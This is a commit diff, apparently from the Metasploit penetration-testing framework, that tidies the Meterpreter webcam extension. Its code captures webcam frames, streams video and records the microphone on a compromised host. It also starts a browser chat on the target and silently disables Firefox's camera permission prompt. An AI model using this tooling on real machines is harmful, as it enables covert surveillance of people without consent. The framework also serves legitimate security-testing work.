Land #5262, fix webcam_chat and tidy adjacent code

bug/bundler_fix
Brent Cook 2015-08-31 14:21:24 -05:00
commit 30830ad9e5
No known key found for this signature in database
GPG Key ID: 1FFAA0B24B708F96
4 changed files with 158 additions and 164 deletions

View File

@ -169,7 +169,7 @@
userid: 'self',
stream: stream
});
callback(stream);
});
}
@ -178,7 +178,7 @@
<body>
<div class="windowa" id="windowa">
<b>You peer</b>
<b>Your peer</b>
</div>
<div class="dot1"></div>
@ -199,4 +199,4 @@
</div>
</body>
</html>
</html>

View File

@ -166,9 +166,9 @@ def self.open_webrtc_browser(url='http://google.com/')
app_data = ENV['APPDATA']
paths << "#{app_data}\\Google\\Chrome\\Application\\chrome.exe"
paths.each do |p|
if File.exists?(p)
args = (p =~ /chrome\.exe/) ? "--allow-file-access-from-files" : ""
paths.each do |path|
if File.exists?(path)
args = (path =~ /chrome\.exe/) ? "--allow-file-access-from-files" : ""
system("#{path} #{args} #{url}")
found_browser = true
break
@ -188,13 +188,14 @@ def self.open_webrtc_browser(url='http://google.com/')
end
else
if defined? ENV['PATH']
['chrome', 'chromium', 'firefox', 'opera'].each do |browser|
['firefox', 'google-chrome', 'chrome', 'chromium', 'firefox', 'opera'].each do |browser|
ENV['PATH'].split(':').each do |path|
browser_path = "#{path}/#{browser}"
if File.exists?(browser_path)
args = (browser_path =~ /Chrome/) ? "--allow-file-access-from-files" : ""
system("#{browser_path} #{args} #{url} &")
found_browser = true
break
end
end
end

View File

@ -1,7 +1,5 @@
# -*- coding: binary -*-
#require 'rex/post/meterpreter/extensions/process'
module Rex
module Post
module Meterpreter
@ -15,7 +13,6 @@ module Webcam
#
###
class Webcam
include Msf::Post::Common
include Msf::Post::File
include Msf::Post::WebRTC
@ -31,9 +28,9 @@ class Webcam
def webcam_list
response = client.send_request(Packet.create_request('webcam_list'))
names = []
response.get_tlvs( TLV_TYPE_WEBCAM_NAME ).each{ |tlv|
response.get_tlvs(TLV_TYPE_WEBCAM_NAME).each do |tlv|
names << tlv.value
}
end
names
end
@ -49,11 +46,11 @@ class Webcam
request = Packet.create_request('webcam_get_frame')
request.add_tlv(TLV_TYPE_WEBCAM_QUALITY, quality)
response = client.send_request(request)
response.get_tlv( TLV_TYPE_WEBCAM_IMAGE ).value
response.get_tlv(TLV_TYPE_WEBCAM_IMAGE).value
end
def webcam_stop
client.send_request( Packet.create_request( 'webcam_stop' ) )
client.send_request(Packet.create_request('webcam_stop'))
true
end
@ -67,13 +64,13 @@ class Webcam
offerer_id = Rex::Text.rand_text_alphanumeric(10)
channel = Rex::Text.rand_text_alphanumeric(20)
remote_browser_path = get_webrtc_browser_path
remote_browser_path = webrtc_browser_path
if remote_browser_path.blank?
raise RuntimeError, "Unable to find a suitable browser on the target machine"
fail "Unable to find a suitable browser on the target machine"
end
ready_status = init_video_chat(remote_browser_path, server, channel, offerer_id)
init_video_chat(remote_browser_path, server, channel, offerer_id)
connect_video_chat(server, channel, offerer_id)
end
@ -83,40 +80,39 @@ class Webcam
request = Packet.create_request('webcam_audio_record')
request.add_tlv(TLV_TYPE_AUDIO_DURATION, duration)
response = client.send_request(request)
response.get_tlv( TLV_TYPE_AUDIO_DATA ).value
response.get_tlv(TLV_TYPE_AUDIO_DATA).value
end
attr_accessor :client
private
#
# Returns a browser path that supports WebRTC
#
# @return [String]
#
def get_webrtc_browser_path
def webrtc_browser_path
found_browser_path = ''
case client.platform
when /win/
paths = [
"Program Files\\Google\\Chrome\\Application\\chrome.exe",
"Program Files\\Mozilla Firefox\\firefox.exe"
"%ProgramFiles(x86)%\\Google\\Chrome\\Application\\chrome.exe",
"%ProgramFiles%\\Google\\Chrome\\Application\\chrome.exe",
"%ProgramW6432%\\Google\\Chrome\\Application\\chrome.exe",
"%ProgramFiles(x86)%\\Mozilla Firefox\\firefox.exe",
"%ProgramFiles%\\Mozilla Firefox\\firefox.exe",
"%ProgramW6432%\\Mozilla Firefox\\firefox.exe"
]
drive = session.sys.config.getenv("SYSTEMDRIVE")
paths = paths.map { |p| "#{drive}\\#{p}" }
# Old chrome path
user_profile = client.sys.config.getenv("USERPROFILE")
paths << "#{user_profile}\\Local Settings\\Application Data\\Google\\Chrome\\Application\\chrome.exe"
paths.each do |browser_path|
if file?(browser_path)
found_browser_path = browser_path
found_browser_path = client.fs.file.expand_path(browser_path)
break
end
end
@ -124,7 +120,7 @@ class Webcam
when /osx|bsd/
[
'/Applications/Google Chrome.app',
'/Applications/Firefox.app',
'/Applications/Firefox.app'
].each do |browser_path|
if file?(browser_path)
found_browser_path = browser_path
@ -140,7 +136,6 @@ class Webcam
found_browser_path
end
#
# Creates a video chat session as an offerer... involuntarily :-p
# Windows targets only.
@ -161,9 +156,9 @@ class Webcam
begin
write_file("#{tmp_dir}\\interface.html", interface)
write_file("#{tmp_dir}\\api.js", api)
rescue ::Exception => e
elog("webcam_chat failed. #{e.class} #{e.to_s}")
raise RuntimeError, "Unable to initialize the interface on the target machine"
rescue RuntimeError => e
elog("webcam_chat failed. #{e.class} #{e}")
raise "Unable to initialize the interface on the target machine"
end
#
@ -176,26 +171,29 @@ class Webcam
profile_name = Rex::Text.rand_text_alpha(8)
o = cmd_exec("#{remote_browser_path} --CreateProfile #{profile_name} #{tmp_dir}\\#{profile_name}")
profile_path = (o.scan(/created profile '.+' at '(.+)'/).flatten[0] || '').strip
setting = %Q|user_pref("media.navigator.permission.disabled", true);|
setting = %|user_pref("media.navigator.permission.disabled", true);|
begin
write_file(profile_path, setting)
rescue ::Exception => e
elog("webcam_chat failed: #{e.class} #{e.to_s}")
raise RuntimeError, "Unable to write the necessary setting for Firefox."
rescue RuntimeError => e
elog("webcam_chat failed: #{e.class} #{e}")
raise "Unable to write the necessary setting for Firefox."
end
args = "-p #{profile_name}"
end
exec_opts = {'Hidden' => false, 'Channelized' => false}
exec_opts = { 'Hidden' => false, 'Channelized' => false }
begin
session.sys.process.execute(remote_browser_path, "#{args} #{tmp_dir}\\interface.html", exec_opts)
rescue ::Exception => e
elog("webcam_chat failed. #{e.class} #{e.to_s}")
raise RuntimeError, "Unable to start the remote browser: #{e.message}"
rescue RuntimeError => e
elog("webcam_chat failed. #{e.class} #{e}")
raise "Unable to start the remote browser: #{e.message}"
end
end
end
end; end; end; end; end; end
end
end
end
end
end
end

View File

@ -12,7 +12,6 @@ module Ui
#
###
class Console::CommandDispatcher::Stdapi::Webcam
Klass = Console::CommandDispatcher::Stdapi::Webcam
include Console::CommandDispatcher
@ -33,17 +32,16 @@ class Console::CommandDispatcher::Stdapi::Webcam
"webcam_list" => [ "webcam_list" ],
"webcam_snap" => [ "webcam_start", "webcam_get_frame", "webcam_stop" ],
"webcam_stream" => [ "webcam_start", "webcam_get_frame", "webcam_stop" ],
"record_mic" => [ "webcam_audio_record" ],
"record_mic" => [ "webcam_audio_record" ]
}
all.delete_if do |cmd, desc|
all.delete_if do |cmd, _desc|
del = false
reqs[cmd].each do |req|
next if client.commands.include? req
del = true
break
end
del
end
@ -58,23 +56,26 @@ class Console::CommandDispatcher::Stdapi::Webcam
end
def cmd_webcam_list
begin
client.webcam.webcam_list.each_with_index { |name, indx|
print_line("#{indx + 1}: #{name}")
}
return true
rescue
if client.webcam.webcam_list.length == 0
print_error("No webcams were found")
return false
return
end
client.webcam.webcam_list.each_with_index do |name, indx|
print_line("#{indx + 1}: #{name}")
end
end
def cmd_webcam_snap(*args)
if client.webcam.webcam_list.length == 0
print_error("Target does not have a webcam")
return
end
path = Rex::Text.rand_text_alpha(8) + ".jpeg"
quality = 50
view = true
index = 1
wc_list = []
webcam_snap_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help Banner" ],
@ -84,51 +85,44 @@ class Console::CommandDispatcher::Stdapi::Webcam
"-v" => [ true, "Automatically view the JPEG image (Default: '#{view}')" ]
)
webcam_snap_opts.parse( args ) { | opt, idx, val |
webcam_snap_opts.parse(args) do |opt, _idx, val|
case opt
when "-h"
print_line( "Usage: webcam_snap [options]\n" )
print_line( "Grab a frame from the specified webcam." )
print_line( webcam_snap_opts.usage )
return
when "-i"
index = val.to_i
when "-q"
quality = val.to_i
when "-p"
path = val
when "-v"
view = false if ( val =~ /^(f|n|0)/i )
when "-h"
print_line("Usage: webcam_snap [options]\n")
print_line("Grab a frame from the specified webcam.")
print_line(webcam_snap_opts.usage)
return
when "-i"
index = val.to_i
when "-q"
quality = val.to_i
when "-p"
path = val
when "-v"
view = false if val =~ /^(f|n|0)/i
end
}
begin
wc_list << client.webcam.webcam_list
rescue
end
if wc_list.length > 0
begin
print_status("Starting...")
client.webcam.webcam_start(index)
data = client.webcam.webcam_get_frame(quality)
print_good("Got frame")
ensure
client.webcam.webcam_stop
print_status("Stopped")
end
if( data )
::File.open( path, 'wb' ) do |fd|
fd.write( data )
end
path = ::File.expand_path( path )
print_line( "Webcam shot saved to: #{path}" )
Rex::Compat.open_file( path ) if view
end
return true
else
print_error("No webcams where found")
return false
begin
print_status("Starting...")
client.webcam.webcam_start(index)
webcam_started = true
data = client.webcam.webcam_get_frame(quality)
print_good("Got frame")
ensure
client.webcam.webcam_stop if webcam_started
print_status("Stopped")
end
if data
::File.open(path, 'wb') do |fd|
fd.write(data)
end
path = ::File.expand_path(path)
print_line("Webcam shot saved to: #{path}")
Rex::Compat.open_file(path) if view
end
true
end
def cmd_webcam_chat(*args)
@ -144,39 +138,42 @@ class Console::CommandDispatcher::Stdapi::Webcam
"-s" => [ false, "WebSocket server" ]
)
webcam_chat_opts.parse( args ) { | opt, idx, val |
webcam_chat_opts.parse(args) do |opt, _idx, val|
case opt
when "-h"
print_line( "Usage: webcam_chat [options]\n" )
print_line( "Starts a video conversation with your target." )
print_line( "Browser Requirements:")
print_line( "Chrome: version 23 or newer" )
print_line( "Firefox: version 22 or newer" )
print_line( webcam_chat_opts.usage )
return
when "-s"
server = val.to_s
when "-h"
print_line("Usage: webcam_chat [options]\n")
print_line("Starts a video conversation with your target.")
print_line("Browser Requirements:")
print_line("Chrome: version 23 or newer")
print_line("Firefox: version 22 or newer")
print_line(webcam_chat_opts.usage)
return
when "-s"
server = val.to_s
end
}
end
begin
print_status("Webcam chat session initialized.")
client.webcam.webcam_chat(server)
rescue RuntimeError => e
rescue RuntimeError => e
print_error(e.message)
end
end
def cmd_webcam_stream(*args)
if client.webcam.webcam_list.length == 0
print_error("Target does not have a webcam")
return
end
print_status("Starting...")
stream_path = Rex::Text.rand_text_alpha(8) + ".jpeg"
stream_path = Rex::Text.rand_text_alpha(8) + ".jpeg"
player_path = Rex::Text.rand_text_alpha(8) + ".html"
duration = 1800
quality = 50
view = true
index = 1
wc_list = []
webcam_snap_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help Banner" ],
@ -188,30 +185,30 @@ class Console::CommandDispatcher::Stdapi::Webcam
"-v" => [ true, "Automatically view the stream (Default: '#{view}')" ]
)
webcam_snap_opts.parse( args ) { | opt, idx, val |
webcam_snap_opts.parse(args) do |opt, _idx, val|
case opt
when "-h"
print_line( "Usage: webcam_stream [options]\n" )
print_line( "Stream from the specified webcam." )
print_line( webcam_snap_opts.usage )
return
when "-d"
duration = val.to_i
when "-i"
index = val.to_i
when "-q"
quality = val.to_i
when "-s"
stream_path = val
when "-t"
player_path = val
when "-v"
view = false if ( val =~ /^(f|n|0)/i )
when "-h"
print_line("Usage: webcam_stream [options]\n")
print_line("Stream from the specified webcam.")
print_line(webcam_snap_opts.usage)
return
when "-d"
duration = val.to_i
when "-i"
index = val.to_i
when "-q"
quality = val.to_i
when "-s"
stream_path = val
when "-t"
player_path = val
when "-v"
view = false if val =~ /^(f|n|0)/i
end
}
end
print_status("Preparing player...")
html = %Q|<html>
html = %|<html>
<head>
<META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE">
<META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE">
@ -264,7 +261,7 @@ Status : <span id="status"></span>
end
if view
print_status("Opening player at: #{player_path}")
Rex::Compat.open_file(player_path)
Rex::Compat.open_file(player_path)
else
print_status("Please open the player manually with a browser: #{player_path}")
end
@ -272,72 +269,70 @@ Status : <span id="status"></span>
print_status("Streaming...")
begin
client.webcam.webcam_start(index)
::Timeout.timeout(duration) {
webcam_started = true
::Timeout.timeout(duration) do
while client do
data = client.webcam.webcam_get_frame(quality)
if data
::File.open(stream_path, 'wb') do |f|
f.write(data)
f.write(data)
end
data = nil
end
end
}
end
rescue ::Timeout::Error
ensure
client.webcam.webcam_stop
client.webcam.webcam_stop if webcam_started
end
print_status("Stopped")
end
def cmd_record_mic(*args)
path = Rex::Text.rand_text_alpha(8) + ".wav"
play = true
duration = 1
path = Rex::Text.rand_text_alpha(8) + ".wav"
play = true
duration = 1
record_mic_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help Banner" ],
"-d" => [ true, "Number of seconds to record (Default: 1)" ],
"-f" => [ true, "The wav file path (Default: '#{::File.expand_path( "[randomname].wav" )}')" ],
"-f" => [ true, "The wav file path (Default: '#{::File.expand_path('[randomname].wav')}')" ],
"-p" => [ true, "Automatically play the captured audio (Default: '#{play}')" ]
)
record_mic_opts.parse( args ) { | opt, idx, val |
record_mic_opts.parse(args) do |opt, _idx, val|
case opt
when "-h"
print_line( "Usage: record_mic [options]\n" )
print_line( "Records audio from the default microphone." )
print_line( record_mic_opts.usage )
return
when "-d"
duration = val.to_i
when "-f"
path = val
when "-p"
play = false if ( val =~ /^(f|n|0)/i )
when "-h"
print_line("Usage: record_mic [options]\n")
print_line("Records audio from the default microphone.")
print_line(record_mic_opts.usage)
return
when "-d"
duration = val.to_i
when "-f"
path = val
when "-p"
play = false if val =~ /^(f|n|0)/i
end
}
end
print_status("Starting...")
data = client.webcam.record_mic(duration)
print_status("Stopped")
if( data )
::File.open( path, 'wb' ) do |fd|
fd.write( data )
if data
::File.open(path, 'wb') do |fd|
fd.write(data)
end
path = ::File.expand_path( path )
print_line( "Audio saved to: #{path}" )
Rex::Compat.play_sound( path ) if play
path = ::File.expand_path(path)
print_line("Audio saved to: #{path}")
Rex::Compat.play_sound(path) if play
end
return true
true
end
end
end
end
end
end
end